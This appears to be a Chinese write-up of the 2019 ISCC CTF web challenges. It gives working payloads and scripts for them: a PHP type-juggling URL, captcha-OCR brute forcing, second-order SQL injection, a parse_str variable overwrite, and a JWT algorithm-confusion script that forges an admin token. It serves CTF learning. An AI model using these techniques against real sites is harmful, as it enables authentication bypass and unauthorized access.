内容简介:2019 ISCC Web wp,没什么太大意义…原题比较多…没学到啥…提示后来看其他师傅,可以把 cookie 删掉来达到爆破密码
2019 ISCC Web wp,没什么太大意义…原题比较多…没学到啥…
Web
Web1
<?php error_reporting(0); require 'flag.php'; $value = $_GET['value']; $password = $_GET['password']; $username = ''; for ($i = 0; $i < count($value); ++$i) { if ($value[$i] > 32 && $value[$i] < 127) unset($value); else $username .= chr($value[$i]); if ($username == 'w3lc0me_To_ISCC2019' && intval($password) < 2333 && intval($password + 1) > 2333) { echo 'Hello '.$username.'!', '<br>', PHP_EOL; echo $flag, '<hr>'; } } highlight_file(__FILE__);
http://39.100.83.188:8001/?value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=329&value[]=339&value[]=323&value[]=323&value[]=306&value[]=304&value[]=305&value[]=313&password=2332e1
Web2
提示 破解3位数字密码
,可以写脚本来跑,由于他的验证码是每次 GET 一次就刷一次,验证码处理这块会比较麻烦,学习了一波验证码的处理识别与 selenuim 爬虫的知识,写了个半成品,但是貌似这个处理 response 不太好处理,最后盲猜 996 拿到 flag
import pytesseract import requests import time from PIL import Image from selenium import webdriver ''' 调用接口请求验证码,保存到本地,识别验证,检查识别的验证码对不对。 ''' driver = webdriver.Chrome() driver.get("http://39.100.83.188:8002/") driver.add_cookie({ 'domain': '39.100.83.188:8002', 'name': 'PHPSESSID', 'value': 'alsrko26h2mlbmkgv54r4gpcf3', 'path': '/', 'expires': None }) driver.get("http://39.100.83.188:8002/") # 比较好理解、截图并保存到这个路径 driver.get_screenshot_as_file('./screenshoot.png') # driver.close() # 打开刚刚保存的图片 im = Image.open('./screenshoot.png') # 设置要裁剪的区域(验证码所在的区域) box = (0, 200, 130, 300) # 截图,生成只有验证码的图片 region = im.crop(box) # 保存到本地路径 region.save("./code.png") # 读取验证码图片 image = Image.open("./code.png") # 开始识别验证码 optCode = pytesseract.image_to_string(image) # 打印出验证码 print("验证码:", optCode) password = '999' driver.find_element_by_name("pwd").send_keys(password) driver.find_element_by_name("user_code").send_keys(optCode) driver.find_element_by_name("Login").click() print(driver)
后来看其他师傅,可以把 cookie 删掉来达到爆破密码
Web3
感觉是把 sql-lab 二次注入的题目给拿了上来,就是利用注册 admin'#
来更改管理员账号密码的那个题
但是貌似过滤了一些字符,但是管他么多,师傅们都是懒的,直接用 admin/123456
上去拿到 flag
看了其他师傅的wp,可以通过 admin'--xx
来二次注入,奇怪的是当时我并没有成功…可能并发确实太多了…
Web4
代码审计题
<?php error_reporting(0); include("flag.php"); $hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a'; $parsed = parse_url($_SERVER['REQUEST_URI']); if(isset($parsed["query"])){ $query = $parsed["query"]; $parsed_query = parse_str($query); if($parsed_query!=NULL){ $action = $parsed_query['action']; } if($action==="auth"){ $key = $_GET["key"]; $hashed_input = hash('sha256', $key); if($hashed_input!==$hashed_key){ die("<img src='cxk.jpg'>"); } echo $flag; } }else{ show_source(__FILE__); }?>
又是一个原题,利用 pase_str
函数的特性:
parse_str ( string $encoded_string [, array &\$result ] ) : void
如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。
传入 hashed_key
覆盖掉 hased_key
即可
Payload:
action=auth&key=test&hashed_key=9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08
Web5
脑洞题…脑洞对不上…
参考 2019iscc wp ,考点是注入,过滤了圆括号,注释符,from等等
payload :order by 排序盲注
Web6
测试发现一些特殊符号被转义
!@#$%^&*()_+-={}|[]\\:\";'<>?,./
然后发现并没有什么用…
然后发现有 jwt ,但是看了一下并没什么,参考了 JSON Web Token (JWT) 攻击技巧 ,试了几种方式,改加密算法为 none 没用,又没有公钥…
然后终于在 http://39.100.83.188:8053/static/js/common.js 中发现了
function getpubkey(){ /* get the pubkey for test /pubkey/{md5(username+password)} */ }
这个没有用到的函数,还以为公钥是用 md5(username+password)
,结果发现这是个 url …
访问 http://39.100.83.188:8053/pubkey/9af8bd54cb8f00ac47d6050c99a5494b 得到
{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----","result":true}
拿上面那篇先知文章的 exp 出来改一下
import jwt public = '''-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n-----END PUBLIC KEY-----''' print public print jwt.encode({"name":"zeddy","priv":"admin"}, key=public, algorithm='HS256')
这里注意,如果要用这个 exp 必须得用 pyjwt==0.4.3
,而且 python 还有个库也叫 jwt …这里需要用 python2 把两个 jwt/PyJWT
都卸了,然后装上面那个就行了。
用这个 jwt 访问 /list
就可以得到 admin 的 pastebin 了,访问即是 flag
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
JavaScript修炼之道
波顿纽威 / 巩朋、张铁 / 人民邮电 / 2011-11 / 29.00元
《JavaScript修炼之道》是JavaScript的实战秘籍。作者将自己多年的编程经验融入其中,不仅可以作为学习之用,更是日常JavaScript开发中不可多得的参考手册,使读者少走很多弯路。《JavaScript修炼之道》的内容涵盖了当今流行的JavaScript库的运行机制,也提供了许多应用案例。《JavaScript修炼之道》针对各任务采取对页式编排,在对各任务的讲解中,左页解释了任务的......一起来看看 《JavaScript修炼之道》 这本书的介绍吧!